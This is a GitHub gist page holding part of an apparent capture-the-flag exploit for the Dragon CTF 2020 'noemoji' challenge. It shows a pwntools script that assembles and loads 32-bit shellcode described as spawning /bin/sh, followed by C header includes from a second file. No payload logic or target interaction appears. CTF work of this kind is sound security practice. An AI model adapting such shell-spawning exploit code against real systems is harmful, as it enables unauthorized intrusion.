Skip to content

Instantly share code, notes, and snippets.

View boryspoplawski's full-sized avatar

Borys Popławski boryspoplawski

View GitHub Profile
@boryspoplawski
boryspoplawski / noemoji.py
Last active December 26, 2020 17:28
Dragon CTF 2020 noemoji
from pwn import *
# just 32 bit shellcode doing execve("/bin/sh", ...)
# note that esp will have some trash in it, so it needs to allocate the stack (or not use one at all)
os.system("nasm shc.asm")
with open("shc", "rb") as f:
SHC = f.read()
context.log_level = "warning"
#include <dirent.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>